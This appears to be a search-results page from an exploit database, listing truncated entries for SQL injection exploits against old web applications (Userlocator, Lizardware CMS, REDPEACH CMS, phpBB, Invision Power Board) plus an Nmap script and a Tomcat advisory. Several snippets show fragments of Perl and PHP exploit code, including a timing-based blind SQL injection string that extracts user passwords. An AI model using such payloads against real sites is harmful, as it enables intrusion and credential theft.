3106 matches found
Userlocator 3.0 Blind SQL Injection Exploit
!/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; p print q ::::::::::::::::::::::::::::: :: Userlocator 3.0 Exploit :: :: written by katharsis :: ::::::::::::::::::::::::::::: www.katharsis.x2.to [email protected] ; if @ARGV 2 print "Usage: usrlocsploit.pl url user id\nExample:...
REDPEACH CMS (zv) Remote SQL Injection Vulnerability
No description provided by source. REDPEACH CMS - SQL Injection Vulnerability http://www.redpeach.de/ Vulnerability discovered by: LidlosesAuge Greetz to: -=Player=- , Suicide, g4ms3, enco, Palme, GPM, karamble, Free-Hack Date: 23.12.2008 Admin Panel: Target/admin/login.php Description: The Files...
Lizardware CMS 0.6.0 Blind SQL Injection
!/usr/bin/perl -w Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,". "benchmark230000000,char0,". "0 from $ptableusers where userid=$userid"; return $send; for1..3...
REDPEACH CMS (zv) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ==================================================== REDPEACH CMS zv Remote SQL Injection Vulnerability ==================================================== REDPEACH CMS - SQL Injection Vulnerability http://www.redpeach.de/ Vulnerability...
Userlocator 3.0 (y) Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; p print q ::::::::::::::::::::::::::::: :: Userlocator 3.0 Exploit :: :: written by katharsis :: ::::::::::::::::::::::::::::: www.katharsis.x2.to [email protected] ; if @ARGV 2 print "Usage: usrlocsploit....
REDPEACH CMS - SQL Injection
REDPEACH CMS - SQL Injection REDPEACH CMS - SQL Injection Vulnerability http://www.redpeach.de/ Vulnerability discovered by: LidlosesAuge Greetz to: -=Player=- , Suicide, g4ms3, enco, Palme, GPM, karamble, Free-Hack Date: 23.12.2008 Admin Panel: Target/admin/login.php Description: The Files...
REDPEACH CMS - SQL Injection
REDPEACH CMS - SQL Injection Vulnerability http://www.redpeach.de/ Vulnerability discovered by: LidlosesAuge Greetz to: -=Player=- , Suicide, g4ms3, enco, Palme, GPM, karamble, Free-Hack Date: 23.12.2008 Admin Panel: Target/admin/login.php Description: The Files "index.php" and "page.php" contain...
Userlocator 3.0 - Blind SQL Injection
Userlocator 3.0 - Blind SQL Injection !/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; p print q ::::::::::::::::::::::::::::: :: Userlocator 3.0 Exploit :: :: written by katharsis :: ::::::::::::::::::::::::::::: www.katharsis.x2.to [email protected] ; if @ARGV 2 print "Usage:...
Userlocator 3.0 - Blind SQL Injection
!/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; p print q ::::::::::::::::::::::::::::: :: Userlocator 3.0 Exploit :: :: written by katharsis :: ::::::::::::::::::::::::::::: www.katharsis.x2.to [email protected] ; if @ARGV 2 print "Usage: usrlocsploit.pl url user id\nExample:...
Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit
Exploit for unknown platform in category web applications =================================================== Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,"...
Lizardware CMS 0.6.0 - Blind SQL Injection
!/usr/bin/perl -w Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,". "benchmark230000000,char0,". "0 from $ptableusers where userid=$userid"; return $send; for1..3...
phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl --------------------------------------------------------------- phpBB 3 Mod Tag Board = 4 Remote Blind SQL Injection Exploit by athos - stakerathotmaildotit http://bx67212.netsons.org/forum/viewforum.php?f=3...
phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit
Exploit for unknown platform in category web applications =============================================================== phpBB 3 Mod Tag Board = 4 Remote Blind SQL Injection Exploit =============================================================== !/usr/bin/perl...
asn-query NSE Script
Maps IP addresses to autonomous system AS numbers. The script works by sending DNS TXT queries to a DNS server which in turn queries a third-party service provided by Team Cymru using an in-addr.arpa style zone set up especially for use by Nmap. The responses to these queries contain both Origin...
WP Comment Remix 1.4.3 Remote SQL Injection Exploit
No description provided by source. ?php / WP Comment Remix 1.4.3 SQL Injection Proof of Concept By g30rg3x g30rg3xatchxsecuritydotorg Advisory: http://chxsecurity.org/advisories/adv-3-full.txt PoC Mirror: http://chxsecurity.org/proof-of-concepts/wp-comment-remix-143.zip Attention: This is a...
PHP infoBoard v.7 Plus Multiple Remote Vulnerabilities
No description provided by source. ========================================================== PHP infoBoard V.7 Plus Multiple Remote Vulnerabilities ========================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground...
phpinfoboard-sqlxss.txt
========================================================== PHP infoBoard V.7 Plus Multiple Remote Vulnerabilities ========================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team...
Apache Tomcat's default security policy is too open
The default catalina.policy in the JULI logging component in Apache Tomcat 5.5.9 through 5.5.25 and 6.0.0 through 6.0.15 does not restrict certain permissions for web applications, which allows attackers to modify logging configuration options and overwrite arbitrary files, as demonstrated by...
Invision Power Board <= 2.3.5 Remote SQL Injection Exploit
No description provided by source. ?php errorreportingEALL; /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// // IPB = 2.3.5 sql injection exploit // Version 1.0 // written by Janek Vind "waraxe" //...
Quicksilver Forums 1.4.1 - SQL Injection
Quicksilver Forums 1.4.1 - SQL Injection ?php / . vuln.: Quicksilver Forums 1.4.1 forums Remote SQL Injection Exploit . download: http://www.quicksilverforums.com/ . . author: irk4zatyahoo.pl . homepage: http://irk4z.wordpress.com/ . . greets: all friends ; . . this is PoC exploit / $host = $argv...